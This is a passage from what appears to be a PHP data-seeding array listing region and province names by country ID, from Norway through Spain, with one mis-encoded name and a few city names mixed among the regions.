'164', 'name' => 'troms'],\n ['country_id' => '164', 'name' => 'vest agder'],\n ['country_id' => '164', 'name' => 'vestfold'],\n ['country_id' => '164', 'name' => 'ãƒâ˜stfold'],\n ['country_id' => '165', 'name' => 'al buraimi'],\n ['country_id' => '165', 'name' => 'dhufar'],\n ['country_id' => '165', 'name' => 'masqat'],\n ['country_id' => '165', 'name' => 'musandam'],\n ['country_id' => '165', 'name' => 'rusayl'],\n ['country_id' => '165', 'name' => 'wadi kabir'],\n ['country_id' => '165', 'name' => 'ad-dakhiliyah'],\n ['country_id' => '165', 'name' => 'adh-dhahirah'],\n ['country_id' => '165', 'name' => 'al-batinah'],\n ['country_id' => '165', 'name' => 'ash-sharqiyah'],\n ['country_id' => '166', 'name' => 'baluchistan'],\n ['country_id' => '166', 'name' => 'federal capital area'],\n ['country_id' => '166', 'name' => 'federally administered tribal '],\n ['country_id' => '166', 'name' => 'north-west frontier'],\n ['country_id' => '166', 'name' => 'northern areas'],\n ['country_id' => '166', 'name' => 'punjab'],\n ['country_id' => '166', 'name' => 'sind'],\n ['country_id' => '167', 'name' => 'aimeliik'],\n ['country_id' => '167', 'name' => 'airai'],\n ['country_id' => '167', 'name' => 'angaur'],\n ['country_id' => '167', 'name' => 'hatobohei'],\n ['country_id' => '167', 'name' => 'kayangel'],\n ['country_id' => '167', 'name' => 'koror'],\n ['country_id' => '167', 'name' => 'melekeok'],\n ['country_id' => '167', 'name' => 'ngaraard'],\n ['country_id' => '167', 'name' => 'ngardmau'],\n ['country_id' => '167', 'name' => 'ngaremlengui'],\n ['country_id' => '167', 'name' => 'ngatpang'],\n ['country_id' => '167', 'name' => 'ngchesar'],\n ['country_id' => '167', 'name' => 'ngerchelong'],\n ['country_id' => '167', 'name' => 'ngiwal'],\n ['country_id' => '167', 'name' => 'peleliu'],\n ['country_id' => '167', 'name' => 'sonsorol'],\n ['country_id' => '168', 'name' => 'ariha'],\n ['country_id' => '168', 'name' => 'bayt lahm'],\n ['country_id' => '168', 'name' => 'bethlehem'],\n ['country_id' => '168', 'name' => 'dayr-al-balah'],\n ['country_id' => '168', 'name' => 'ghazzah'],\n ['country_id' => '168', 'name' => 'ghazzah ash-shamaliyah'],\n ['country_id' => '168', 'name' => 'janin'],\n ['country_id' => '168', 'name' => 'khan yunis'],\n ['country_id' => '168', 'name' => 'nabulus'],\n ['country_id' => '168', 'name' => 'qalqilyah'],\n ['country_id' => '168', 'name' => 'rafah'],\n ['country_id' => '168', 'name' => 'ram allah wal-birah'],\n ['country_id' => '168', 'name' => 'salfit'],\n ['country_id' => '168', 'name' => 'tubas'],\n ['country_id' => '168', 'name' => 'tulkarm'],\n ['country_id' => '168', 'name' => 'al-khalil'],\n ['country_id' => '168', 'name' => 'al-quds'],\n ['country_id' => '169', 'name' => 'bocas del toro'],\n ['country_id' => '169', 'name' => 'chiriqui'],\n ['country_id' => '169', 'name' => 'cocle'],\n ['country_id' => '169', 'name' => 'colon'],\n ['country_id' => '169', 'name' => 'darien'],\n ['country_id' => '169', 'name' => 'embera'],\n ['country_id' => '169', 'name' => 'herrera'],\n ['country_id' => '169', 'name' => 'kuna yala'],\n ['country_id' => '169', 'name' => 'los santos'],\n ['country_id' => '169', 'name' => 'ngobe bugle'],\n ['country_id' => '169', 'name' => 'panama'],\n ['country_id' => '169', 'name' => 'veraguas'],\n ['country_id' => '170', 'name' => 'east new britain'],\n ['country_id' => '170', 'name' => 'east sepik'],\n ['country_id' => '170', 'name' => 'eastern highlands'],\n ['country_id' => '170', 'name' => 'enga'],\n ['country_id' => '170', 'name' => 'fly river'],\n ['country_id' => '170', 'name' => 'gulf'],\n ['country_id' => '170', 'name' => 'madang'],\n ['country_id' => '170', 'name' => 'manus'],\n ['country_id' => '170', 'name' => 'milne bay'],\n ['country_id' => '170', 'name' => 'morobe'],\n ['country_id' => '170', 'name' => 'national capital district'],\n ['country_id' => '170', 'name' => 'new ireland'],\n ['country_id' => '170', 'name' => 'north solomons'],\n ['country_id' => '170', 'name' => 'oro'],\n ['country_id' => '170', 'name' => 'sandaun'],\n ['country_id' => '170', 'name' => 'simbu'],\n ['country_id' => '170', 'name' => 'southern highlands'],\n ['country_id' => '170', 'name' => 'west new britain'],\n ['country_id' => '170', 'name' => 'western highlands'],\n ['country_id' => '171', 'name' => 'alto paraguay'],\n ['country_id' => '171', 'name' => 'alto parana'],\n ['country_id' => '171', 'name' => 'amambay'],\n ['country_id' => '171', 'name' => 'asuncion'],\n ['country_id' => '171', 'name' => 'boqueron'],\n ['country_id' => '171', 'name' => 'caaguazu'],\n ['country_id' => '171', 'name' => 'caazapa'],\n ['country_id' => '171', 'name' => 'canendiyu'],\n ['country_id' => '171', 'name' => 'central'],\n ['country_id' => '171', 'name' => 'concepcion'],\n ['country_id' => '171', 'name' => 'cordillera'],\n ['country_id' => '171', 'name' => 'guaira'],\n ['country_id' => '171', 'name' => 'itapua'],\n ['country_id' => '171', 'name' => 'misiones'],\n ['country_id' => '171', 'name' => 'neembucu'],\n ['country_id' => '171', 'name' => 'paraguari'],\n ['country_id' => '171', 'name' => 'presidente hayes'],\n ['country_id' => '171', 'name' => 'san pedro'],\n ['country_id' => '172', 'name' => 'amazonas'],\n ['country_id' => '172', 'name' => 'ancash'],\n ['country_id' => '172', 'name' => 'apurimac'],\n ['country_id' => '172', 'name' => 'arequipa'],\n ['country_id' => '172', 'name' => 'ayacucho'],\n ['country_id' => '172', 'name' => 'cajamarca'],\n ['country_id' => '172', 'name' => 'cusco'],\n ['country_id' => '172', 'name' => 'huancavelica'],\n ['country_id' => '172', 'name' => 'huanuco'],\n ['country_id' => '172', 'name' => 'ica'],\n ['country_id' => '172', 'name' => 'junin'],\n ['country_id' => '172', 'name' => 'la libertad'],\n ['country_id' => '172', 'name' => 'lambayeque'],\n ['country_id' => '172', 'name' => 'lima y callao'],\n ['country_id' => '172', 'name' => 'loreto'],\n ['country_id' => '172', 'name' => 'madre de dios'],\n ['country_id' => '172', 'name' => 'moquegua'],\n ['country_id' => '172', 'name' => 'pasco'],\n ['country_id' => '172', 'name' => 'piura'],\n ['country_id' => '172', 'name' => 'puno'],\n ['country_id' => '172', 'name' => 'san martin'],\n ['country_id' => '172', 'name' => 'tacna'],\n ['country_id' => '172', 'name' => 'tumbes'],\n ['country_id' => '172', 'name' => 'ucayali'],\n ['country_id' => '173', 'name' => 'batangas'],\n ['country_id' => '173', 'name' => 'bicol'],\n ['country_id' => '173', 'name' => 'bulacan'],\n ['country_id' => '173', 'name' => 'cagayan'],\n ['country_id' => '173', 'name' => 'caraga'],\n ['country_id' => '173', 'name' => 'central luzon'],\n ['country_id' => '173', 'name' => 'central mindanao'],\n ['country_id' => '173', 'name' => 'central visayas'],\n ['country_id' => '173', 'name' => 'cordillera'],\n ['country_id' => '173', 'name' => 'davao'],\n ['country_id' => '173', 'name' => 'eastern visayas'],\n ['country_id' => '173', 'name' => 'greater metropolitan area'],\n ['country_id' => '173', 'name' => 'ilocos'],\n ['country_id' => '173', 'name' => 'laguna'],\n ['country_id' => '173', 'name' => 'luzon'],\n ['country_id' => '173', 'name' => 'mactan'],\n ['country_id' => '173', 'name' => 'metropolitan manila area'],\n ['country_id' => '173', 'name' => 'muslim mindanao'],\n ['country_id' => '173', 'name' => 'northern mindanao'],\n ['country_id' => '173', 'name' => 'southern mindanao'],\n ['country_id' => '173', 'name' => 'southern tagalog'],\n ['country_id' => '173', 'name' => 'western mindanao'],\n ['country_id' => '173', 'name' => 'western visayas'],\n ['country_id' => '174', 'name' => 'pitcairn island'],\n ['country_id' => '175', 'name' => 'biale blota'],\n ['country_id' => '175', 'name' => 'dobroszyce'],\n ['country_id' => '175', 'name' => 'dolnoslaskie'],\n ['country_id' => '175', 'name' => 'dziekanow lesny'],\n ['country_id' => '175', 'name' => 'hopowo'],\n ['country_id' => '175', 'name' => 'kartuzy'],\n ['country_id' => '175', 'name' => 'koscian'],\n ['country_id' => '175', 'name' => 'krakow'],\n ['country_id' => '175', 'name' => 'kujawsko-pomorskie'],\n ['country_id' => '175', 'name' => 'lodzkie'],\n ['country_id' => '175', 'name' => 'lubelskie'],\n ['country_id' => '175', 'name' => 'lubuskie'],\n ['country_id' => '175', 'name' => 'malomice'],\n ['country_id' => '175', 'name' => 'malopolskie'],\n ['country_id' => '175', 'name' => 'mazowieckie'],\n ['country_id' => '175', 'name' => 'mirkow'],\n ['country_id' => '175', 'name' => 'opolskie'],\n ['country_id' => '175', 'name' => 'ostrowiec'],\n ['country_id' => '175', 'name' => 'podkarpackie'],\n ['country_id' => '175', 'name' => 'podlaskie'],\n ['country_id' => '175', 'name' => 'polska'],\n ['country_id' => '175', 'name' => 'pomorskie'],\n ['country_id' => '175', 'name' => 'poznan'],\n ['country_id' => '175', 'name' => 'pruszkow'],\n ['country_id' => '175', 'name' => 'rymanowska'],\n ['country_id' => '175', 'name' => 'rzeszow'],\n ['country_id' => '175', 'name' => 'slaskie'],\n ['country_id' => '175', 'name' => 'stare pole'],\n ['country_id' => '175', 'name' => 'swietokrzyskie'],\n ['country_id' => '175', 'name' => 'warminsko-mazurskie'],\n ['country_id' => '175', 'name' => 'warsaw'],\n ['country_id' => '175', 'name' => 'wejherowo'],\n ['country_id' => '175', 'name' => 'wielkopolskie'],\n ['country_id' => '175', 'name' => 'wroclaw'],\n ['country_id' => '175', 'name' => 'zachodnio-pomorskie'],\n ['country_id' => '175', 'name' => 'zukowo'],\n ['country_id' => '176', 'name' => 'abrantes'],\n ['country_id' => '176', 'name' => 'acores'],\n ['country_id' => '176', 'name' => 'alentejo'],\n ['country_id' => '176', 'name' => 'algarve'],\n ['country_id' => '176', 'name' => 'braga'],\n ['country_id' => '176', 'name' => 'centro'],\n ['country_id' => '176', 'name' => 'distrito de leiria'],\n ['country_id' => '176', 'name' => 'distrito de viana do castelo'],\n ['country_id' => '176', 'name' => 'distrito de vila real'],\n ['country_id' => '176', 'name' => 'distrito do porto'],\n ['country_id' => '176', 'name' => 'lisboa e vale do tejo'],\n ['country_id' => '176', 'name' => 'madeira'],\n ['country_id' => '176', 'name' => 'norte'],\n ['country_id' => '176', 'name' => 'paivas'],\n ['country_id' => '177', 'name' => 'arecibo'],\n ['country_id' => '177', 'name' => 'bayamon'],\n ['country_id' => '177', 'name' => 'carolina'],\n ['country_id' => '177', 'name' => 'florida'],\n ['country_id' => '177', 'name' => 'guayama'],\n ['country_id' => '177', 'name' => 'humacao'],\n ['country_id' => '177', 'name' => 'mayaguez-aguadilla'],\n ['country_id' => '177', 'name' => 'ponce'],\n ['country_id' => '177', 'name' => 'salinas'],\n ['country_id' => '177', 'name' => 'san juan'],\n ['country_id' => '178', 'name' => 'doha'],\n ['country_id' => '178', 'name' => 'jarian-al-batnah'],\n ['country_id' => '178', 'name' => 'umm salal'],\n ['country_id' => '178', 'name' => 'ad-dawhah'],\n ['country_id' => '178', 'name' => 'al-ghuwayriyah'],\n ['country_id' => '178', 'name' => 'al-jumayliyah'],\n ['country_id' => '178', 'name' => 'al-khawr'],\n ['country_id' => '178', 'name' => 'al-wakrah'],\n ['country_id' => '178', 'name' => 'ar-rayyan'],\n ['country_id' => '178', 'name' => 'ash-shamal'],\n ['country_id' => '179', 'name' => 'saint-benoit'],\n ['country_id' => '179', 'name' => 'saint-denis'],\n ['country_id' => '179', 'name' => 'saint-paul'],\n ['country_id' => '179', 'name' => 'saint-pierre'],\n ['country_id' => '180', 'name' => 'alba'],\n ['country_id' => '180', 'name' => 'arad'],\n ['country_id' => '180', 'name' => 'arges'],\n ['country_id' => '180', 'name' => 'bacau'],\n ['country_id' => '180', 'name' => 'bihor'],\n ['country_id' => '180', 'name' => 'bistrita-nasaud'],\n ['country_id' => '180', 'name' => 'botosani'],\n ['country_id' => '180', 'name' => 'braila'],\n ['country_id' => '180', 'name' => 'brasov'],\n ['country_id' => '180', 'name' => 'bucuresti'],\n ['country_id' => '180', 'name' => 'buzau'],\n ['country_id' => '180', 'name' => 'calarasi'],\n ['country_id' => '180', 'name' => 'caras-severin'],\n ['country_id' => '180', 'name' => 'cluj'],\n ['country_id' => '180', 'name' => 'constanta'],\n ['country_id' => '180', 'name' => 'covasna'],\n ['country_id' => '180', 'name' => 'dambovita'],\n ['country_id' => '180', 'name' => 'dolj'],\n ['country_id' => '180', 'name' => 'galati'],\n ['country_id' => '180', 'name' => 'giurgiu'],\n ['country_id' => '180', 'name' => 'gorj'],\n ['country_id' => '180', 'name' => 'harghita'],\n ['country_id' => '180', 'name' => 'hunedoara'],\n ['country_id' => '180', 'name' => 'ialomita'],\n ['country_id' => '180', 'name' => 'iasi'],\n ['country_id' => '180', 'name' => 'ilfov'],\n ['country_id' => '180', 'name' => 'maramures'],\n ['country_id' => '180', 'name' => 'mehedinti'],\n ['country_id' => '180', 'name' => 'mures'],\n ['country_id' => '180', 'name' => 'neamt'],\n ['country_id' => '180', 'name' => 'olt'],\n ['country_id' => '180', 'name' => 'prahova'],\n ['country_id' => '180', 'name' => 'salaj'],\n ['country_id' => '180', 'name' => 'satu mare'],\n ['country_id' => '180', 'name' => 'sibiu'],\n ['country_id' => '180', 'name' => 'sondelor'],\n ['country_id' => '180', 'name' => 'suceava'],\n ['country_id' => '180', 'name' => 'teleorman'],\n ['country_id' => '180', 'name' => 'timis'],\n ['country_id' => '180', 'name' => 'tulcea'],\n ['country_id' => '180', 'name' => 'valcea'],\n ['country_id' => '180', 'name' => 'vaslui'],\n ['country_id' => '180', 'name' => 'vrancea'],\n ['country_id' => '181', 'name' => 'adygeja'],\n ['country_id' => '181', 'name' => 'aga'],\n ['country_id' => '181', 'name' => 'alanija'],\n ['country_id' => '181', 'name' => 'altaj'],\n ['country_id' => '181', 'name' => 'amur'],\n ['country_id' => '181', 'name' => 'arhangelsk'],\n ['country_id' => '181', 'name' => 'astrahan'],\n ['country_id' => '181', 'name' => 'bashkortostan'],\n ['country_id' => '181', 'name' => 'belgorod'],\n ['country_id' => '181', 'name' => 'brjansk'],\n ['country_id' => '181', 'name' => 'burjatija'],\n ['country_id' => '181', 'name' => 'chechenija'],\n ['country_id' => '181', 'name' => 'cheljabinsk'],\n ['country_id' => '181', 'name' => 'chita'],\n ['country_id' => '181', 'name' => 'chukotka'],\n ['country_id' => '181', 'name' => 'chuvashija'],\n ['country_id' => '181', 'name' => 'dagestan'],\n ['country_id' => '181', 'name' => 'evenkija'],\n ['country_id' => '181', 'name' => 'gorno-altaj'],\n ['country_id' => '181', 'name' => 'habarovsk'],\n ['country_id' => '181', 'name' => 'hakasija'],\n ['country_id' => '181', 'name' => 'hanty-mansija'],\n ['country_id' => '181', 'name' => 'ingusetija'],\n ['country_id' => '181', 'name' => 'irkutsk'],\n ['country_id' => '181', 'name' => 'ivanovo'],\n ['country_id' => '181', 'name' => 'jamalo-nenets'],\n ['country_id' => '181', 'name' => 'jaroslavl'],\n ['country_id' => '181', 'name' => 'jevrej'],\n ['country_id' => '181', 'name' => 'kabardino-balkarija'],\n ['country_id' => '181', 'name' => 'kaliningrad'],\n ['country_id' => '181', 'name' => 'kalmykija'],\n ['country_id' => '181', 'name' => 'kaluga'],\n ['country_id' => '181', 'name' => 'kamchatka'],\n ['country_id' => '181', 'name' => 'karachaj-cherkessija'],\n ['country_id' => '181', 'name' => 'karelija'],\n ['country_id' => '181', 'name' => 'kemerovo'],\n ['country_id' => '181', 'name' => 'khabarovskiy kray'],\n ['country_id' => '181', 'name' => 'kirov'],\n ['country_id' => '181', 'name' => 'komi'],\n ['country_id' => '181', 'name' => 'komi-permjakija'],\n ['country_id' => '181', 'name' => 'korjakija'],\n ['country_id' => '181', 'name' => 'kostroma'],\n ['country_id' => '181', 'name' => 'krasnodar'],\n ['country_id' => '181', 'name' => 'krasnojarsk'],\n ['country_id' => '181', 'name' => 'krasnoyarskiy kray'],\n ['country_id' => '181', 'name' => 'kurgan'],\n ['country_id' => '181', 'name' => 'kursk'],\n ['country_id' => '181', 'name' => 'leningrad'],\n ['country_id' => '181', 'name' => 'lipeck'],\n ['country_id' => '181', 'name' => 'magadan'],\n ['country_id' => '181', 'name' => 'marij el'],\n ['country_id' => '181', 'name' => 'mordovija'],\n ['country_id' => '181', 'name' => 'moscow'],\n ['country_id' => '181', 'name' => 'moskovskaja oblast'],\n ['country_id' => '181', 'name' => 'moskovskaya oblast'],\n ['country_id' => '181', 'name' => 'moskva'],\n ['country_id' => '181', 'name' => 'murmansk'],\n ['country_id' => '181', 'name' => 'nenets'],\n ['country_id' => '181', 'name' => 'nizhnij novgorod'],\n ['country_id' => '181', 'name' => 'novgorod'],\n ['country_id' => '181', 'name' => 'novokusnezk'],\n ['country_id' => '181', 'name' => 'novosibirsk'],\n ['country_id' => '181', 'name' => 'omsk'],\n ['country_id' => '181', 'name' => 'orenburg'],\n ['country_id' => '181', 'name' => 'orjol'],\n ['country_id' => '181', 'name' => 'penza'],\n ['country_id' => '181', 'name' => 'perm'],\n ['country_id' => '181', 'name' => 'primorje'],\n ['country_id' => '181', 'name' => 'pskov'],\n ['country_id' => '181', 'name' => 'pskovskaya oblast'],\n ['country_id' => '181', 'name' => 'rjazan'],\n ['country_id' => '181', 'name' => 'rostov'],\n ['country_id' => '181', 'name' => 'saha'],\n ['country_id' => '181', 'name' => 'sahalin'],\n ['country_id' => '181', 'name' => 'samara'],\n ['country_id' => '181', 'name' => 'samarskaya'],\n ['country_id' => '181', 'name' => 'sankt-peterburg'],\n ['country_id' => '181', 'name' => 'saratov'],\n ['country_id' => '181', 'name' => 'smolensk'],\n ['country_id' => '181', 'name' => 'stavropol'],\n ['country_id' => '181', 'name' => 'sverdlovsk'],\n ['country_id' => '181', 'name' => 'tajmyrija'],\n ['country_id' => '181', 'name' => 'tambov'],\n ['country_id' => '181', 'name' => 'tatarstan'],\n ['country_id' => '181', 'name' => 'tjumen'],\n ['country_id' => '181', 'name' => 'tomsk'],\n ['country_id' => '181', 'name' => 'tula'],\n ['country_id' => '181', 'name' => 'tver'],\n ['country_id' => '181', 'name' => 'tyva'],\n ['country_id' => '181', 'name' => 'udmurtija'],\n ['country_id' => '181', 'name' => 'uljanovsk'],\n ['country_id' => '181', 'name' => 'ulyanovskaya oblast'],\n ['country_id' => '181', 'name' => 'ust-orda'],\n ['country_id' => '181', 'name' => 'vladimir'],\n ['country_id' => '181', 'name' => 'volgograd'],\n ['country_id' => '181', 'name' => 'vologda'],\n ['country_id' => '181', 'name' => 'voronezh'],\n ['country_id' => '182', 'name' => 'butare'],\n ['country_id' => '182', 'name' => 'byumba'],\n ['country_id' => '182', 'name' => 'cyangugu'],\n ['country_id' => '182', 'name' => 'gikongoro'],\n ['country_id' => '182', 'name' => 'gisenyi'],\n ['country_id' => '182', 'name' => 'gitarama'],\n ['country_id' => '182', 'name' => 'kibungo'],\n ['country_id' => '182', 'name' => 'kibuye'],\n ['country_id' => '182', 'name' => 'kigali-ngali'],\n ['country_id' => '182', 'name' => 'ruhengeri'],\n ['country_id' => '183', 'name' => 'ascension'],\n ['country_id' => '183', 'name' => 'gough island'],\n ['country_id' => '183', 'name' => 'saint helena'],\n ['country_id' => '183', 'name' => 'tristan da cunha'],\n ['country_id' => '184', 'name' => 'christ church nichola town'],\n ['country_id' => '184', 'name' => 'saint anne sandy point'],\n ['country_id' => '184', 'name' => 'saint george basseterre'],\n ['country_id' => '184', 'name' => 'saint george gingerland'],\n ['country_id' => '184', 'name' => 'saint james windward'],\n ['country_id' => '184', 'name' => 'saint john capesterre'],\n ['country_id' => '184', 'name' => 'saint john figtree'],\n ['country_id' => '184', 'name' => 'saint mary cayon'],\n ['country_id' => '184', 'name' => 'saint paul capesterre'],\n ['country_id' => '184', 'name' => 'saint paul charlestown'],\n ['country_id' => '184', 'name' => 'saint peter basseterre'],\n ['country_id' => '184', 'name' => 'saint thomas lowland'],\n ['country_id' => '184', 'name' => 'saint thomas middle island'],\n ['country_id' => '184', 'name' => 'trinity palmetto point'],\n ['country_id' => '185', 'name' => 'anse-la-raye'],\n ['country_id' => '185', 'name' => 'canaries'],\n ['country_id' => '185', 'name' => 'castries'],\n ['country_id' => '185', 'name' => 'choiseul'],\n ['country_id' => '185', 'name' => 'dennery'],\n ['country_id' => '185', 'name' => 'gros inlet'],\n ['country_id' => '185', 'name' => 'laborie'],\n ['country_id' => '185', 'name' => 'micoud'],\n ['country_id' => '185', 'name' => 'soufriere'],\n ['country_id' => '185', 'name' => 'vieux fort'],\n ['country_id' => '186', 'name' => 'miquelon-langlade'],\n ['country_id' => '186', 'name' => 'saint-pierre'],\n ['country_id' => '187', 'name' => 'charlotte'],\n ['country_id' => '187', 'name' => 'grenadines'],\n ['country_id' => '187', 'name' => 'saint andrew'],\n ['country_id' => '187', 'name' => 'saint david'],\n ['country_id' => '187', 'name' => 'saint george'],\n ['country_id' => '187', 'name' => 'saint patrick'],\n ['country_id' => '188', 'name' => 'a\\'ana'],\n ['country_id' => '188', 'name' => 'aiga-i-le-tai'],\n ['country_id' => '188', 'name' => 'atua'],\n ['country_id' => '188', 'name' => 'fa\\'asaleleaga'],\n ['country_id' => '188', 'name' => 'gaga\\'emauga'],\n ['country_id' => '188', 'name' => 'gagaifomauga'],\n ['country_id' => '188', 'name' => 'palauli'],\n ['country_id' => '188', 'name' => 'satupa\\'itea'],\n ['country_id' => '188', 'name' => 'tuamasaga'],\n ['country_id' => '188', 'name' => 'va\\'a-o-fonoti'],\n ['country_id' => '188', 'name' => 'vaisigano'],\n ['country_id' => '189', 'name' => 'acquaviva'],\n ['country_id' => '189', 'name' => 'borgo maggiore'],\n ['country_id' => '189', 'name' => 'chiesanuova'],\n ['country_id' => '189', 'name' => 'domagnano'],\n ['country_id' => '189', 'name' => 'faetano'],\n ['country_id' => '189', 'name' => 'fiorentino'],\n ['country_id' => '189', 'name' => 'montegiardino'],\n ['country_id' => '189', 'name' => 'san marino'],\n ['country_id' => '189', 'name' => 'serravalle'],\n ['country_id' => '190', 'name' => 'agua grande'],\n ['country_id' => '190', 'name' => 'cantagalo'],\n ['country_id' => '190', 'name' => 'lemba'],\n ['country_id' => '190', 'name' => 'lobata'],\n ['country_id' => '190', 'name' => 'me-zochi'],\n ['country_id' => '190', 'name' => 'pague'],\n ['country_id' => '191', 'name' => 'al khobar'],\n ['country_id' => '191', 'name' => 'aseer'],\n ['country_id' => '191', 'name' => 'ash sharqiyah'],\n ['country_id' => '191', 'name' => 'asir'],\n ['country_id' => '191', 'name' => 'central province'],\n ['country_id' => '191', 'name' => 'eastern province'],\n ['country_id' => '191', 'name' => 'ha\\'il'],\n ['country_id' => '191', 'name' => 'jawf'],\n ['country_id' => '191', 'name' => 'jizan'],\n ['country_id' => '191', 'name' => 'makkah'],\n ['country_id' => '191', 'name' => 'najran'],\n ['country_id' => '191', 'name' => 'qasim'],\n ['country_id' => '191', 'name' => 'tabuk'],\n ['country_id' => '191', 'name' => 'western province'],\n ['country_id' => '191', 'name' => 'al-bahah'],\n ['country_id' => '191', 'name' => 'al-hudud-ash-shamaliyah'],\n ['country_id' => '191', 'name' => 'al-madinah'],\n ['country_id' => '191', 'name' => 'ar-riyad'],\n ['country_id' => '192', 'name' => 'dakar'],\n ['country_id' => '192', 'name' => 'diourbel'],\n ['country_id' => '192', 'name' => 'fatick'],\n ['country_id' => '192', 'name' => 'kaolack'],\n ['country_id' => '192', 'name' => 'kolda'],\n ['country_id' => '192', 'name' => 'louga'],\n ['country_id' => '192', 'name' => 'saint-louis'],\n ['country_id' => '192', 'name' => 'tambacounda'],\n ['country_id' => '192', 'name' => 'thies'],\n ['country_id' => '192', 'name' => 'ziguinchor'],\n ['country_id' => '193', 'name' => 'central serbia'],\n ['country_id' => '193', 'name' => 'kosovo and metohija'],\n ['country_id' => '193', 'name' => 'vojvodina'],\n ['country_id' => '194', 'name' => 'anse boileau'],\n ['country_id' => '194', 'name' => 'anse royale'],\n ['country_id' => '194', 'name' => 'cascade'],\n ['country_id' => '194', 'name' => 'takamaka'],\n ['country_id' => '194', 'name' => 'victoria'],\n ['country_id' => '195', 'name' => 'eastern'],\n ['country_id' => '195', 'name' => 'northern'],\n ['country_id' => '195', 'name' => 'southern'],\n ['country_id' => '195', 'name' => 'western'],\n ['country_id' => '196', 'name' => 'singapore'],\n ['country_id' => '197', 'name' => 'banskobystricky'],\n ['country_id' => '197', 'name' => 'bratislavsky'],\n ['country_id' => '197', 'name' => 'kosicky'],\n ['country_id' => '197', 'name' => 'nitriansky'],\n ['country_id' => '197', 'name' => 'presovsky'],\n ['country_id' => '197', 'name' => 'trenciansky'],\n ['country_id' => '197', 'name' => 'trnavsky'],\n ['country_id' => '197', 'name' => 'zilinsky'],\n ['country_id' => '198', 'name' => 'benedikt'],\n ['country_id' => '198', 'name' => 'gorenjska'],\n ['country_id' => '198', 'name' => 'gorishka'],\n ['country_id' => '198', 'name' => 'jugovzhodna slovenija'],\n ['country_id' => '198', 'name' => 'koroshka'],\n ['country_id' => '198', 'name' => 'notranjsko-krashka'],\n ['country_id' => '198', 'name' => 'obalno-krashka'],\n ['country_id' => '198', 'name' => 'obcina domzale'],\n ['country_id' => '198', 'name' => 'obcina vitanje'],\n ['country_id' => '198', 'name' => 'osrednjeslovenska'],\n ['country_id' => '198', 'name' => 'podravska'],\n ['country_id' => '198', 'name' => 'pomurska'],\n ['country_id' => '198', 'name' => 'savinjska'],\n ['country_id' => '198', 'name' => 'slovenian littoral'],\n ['country_id' => '198', 'name' => 'spodnjeposavska'],\n ['country_id' => '198', 'name' => 'zasavska'],\n ['country_id' => '199', 'name' => 'pitcairn'],\n ['country_id' => '200', 'name' => 'central'],\n ['country_id' => '200', 'name' => 'choiseul'],\n ['country_id' => '200', 'name' => 'guadalcanal'],\n ['country_id' => '200', 'name' => 'isabel'],\n ['country_id' => '200', 'name' => 'makira and ulawa'],\n ['country_id' => '200', 'name' => 'malaita'],\n ['country_id' => '200', 'name' => 'rennell and bellona'],\n ['country_id' => '200', 'name' => 'temotu'],\n ['country_id' => '200', 'name' => 'western'],\n ['country_id' => '201', 'name' => 'awdal'],\n ['country_id' => '201', 'name' => 'bakol'],\n ['country_id' => '201', 'name' => 'banadir'],\n ['country_id' => '201', 'name' => 'bari'],\n ['country_id' => '201', 'name' => 'bay'],\n ['country_id' => '201', 'name' => 'galgudug'],\n ['country_id' => '201', 'name' => 'gedo'],\n ['country_id' => '201', 'name' => 'hiran'],\n ['country_id' => '201', 'name' => 'jubbada hose'],\n ['country_id' => '201', 'name' => 'jubbadha dexe'],\n ['country_id' => '201', 'name' => 'mudug'],\n ['country_id' => '201', 'name' => 'nugal'],\n ['country_id' => '201', 'name' => 'sanag'],\n ['country_id' => '201', 'name' => 'shabellaha dhexe'],\n ['country_id' => '201', 'name' => 'shabellaha hose'],\n ['country_id' => '201', 'name' => 'togdher'],\n ['country_id' => '201', 'name' => 'woqoyi galbed'],\n ['country_id' => '202', 'name' => 'eastern cape'],\n ['country_id' => '202', 'name' => 'free state'],\n ['country_id' => '202', 'name' => 'gauteng'],\n ['country_id' => '202', 'name' => 'kempton park'],\n ['country_id' => '202', 'name' => 'kramerville'],\n ['country_id' => '202', 'name' => 'kwazulu natal'],\n ['country_id' => '202', 'name' => 'limpopo'],\n ['country_id' => '202', 'name' => 'mpumalanga'],\n ['country_id' => '202', 'name' => 'north west'],\n ['country_id' => '202', 'name' => 'northern cape'],\n ['country_id' => '202', 'name' => 'parow'],\n ['country_id' => '202', 'name' => 'table view'],\n ['country_id' => '202', 'name' => 'umtentweni'],\n ['country_id' => '202', 'name' => 'western cape'],\n ['country_id' => '203', 'name' => 'south georgia'],\n ['country_id' => '204', 'name' => 'central equatoria'],\n ['country_id' => '205', 'name' => 'a coruna'],\n ['country_id' => '205', 'name' => 'alacant'],\n ['country_id' => '205', 'name' => 'alava'],\n ['country_id' => '205', 'name' => 'albacete'],\n ['country_id' => '205', 'name' => 'almeria'],\n ['country_id' => '205', 'name' => 'andalucia'],\n ['country_id' => '205', 'name' => 'asturias'],\n ['country_id' => '205', 'name' => 'avila'],\n ['country_id' => '205', 'name' => 'badajoz'],\n ['country_id' => '205', 'name' => 'balears'],\n ['country_id' => '205', 'name' => 'barcelona'],\n ['country_id' => '205', 'name' => 'bertamirans'],\n ['country_id' => '205', 'name' => 'biscay'],\n ['country_id' => '205', 'name' => 'burgos'],\n ['country_id' => '205', 'name' => 'caceres'],\n ['country_id' => '205', 'name' => 'cadiz'],\n ['country_id' => '205', 'name' => 'cantabria'],\n ['country_id' => '205', 'name' => 'castello'],\n ['country_id' => '205', 'name' => 'catalunya'],\n ['country_id' => '205', 'name' => 'ceuta'],\n ['country_id' => '205', 'name' => 'ciudad real'],\n ['country_id' => '205', 'name' => 'comunidad autonoma de canarias'],\n ['country_id' => '205', 'name' => 'comunidad autonoma de cataluna'],\n ['country_id' => '205', 'name' => 'comunidad autonoma de galicia'],\n ['country_id' => '205', 'name' => 'comunidad autonoma de las isla'],\n ['country_id' => '205', 'name' => 'comunidad autonoma del princip'],\n ['country_id' => '205', 'name' => 'comunidad valenciana'],\n ['country_id' => '205', 'name' => 'cordoba'],\n ['country_id' => '205', 'name' => 'cuenca'],\n ['country_id' => '205', 'name' => 'gipuzkoa'],\n ['country_id' => '205', 'name' => 'girona'],\n ['country_id' => '205', 'name' => 'granada'],\n ['country_id' => '205', 'name' => 'guadalajara'],\n ['country_id' => '205', 'name' => 'guipuzcoa'],\n ['country_id' => '205', 'name' => 'huelva'],\n ['country_id' => '205', 'name' => 'huesca'],\n ['country_id' => '205', 'name' => 'jaen'],\n ['country_id' => '205', 'name' => 'la rioja'],\n ['country_id' => '205', 'name' => 'las palmas'],\n ['country_id' => '205', 'name' => 'leon'],\n ['country_id' => '205', 'name' => 'lerida'],\n ['country_id' => 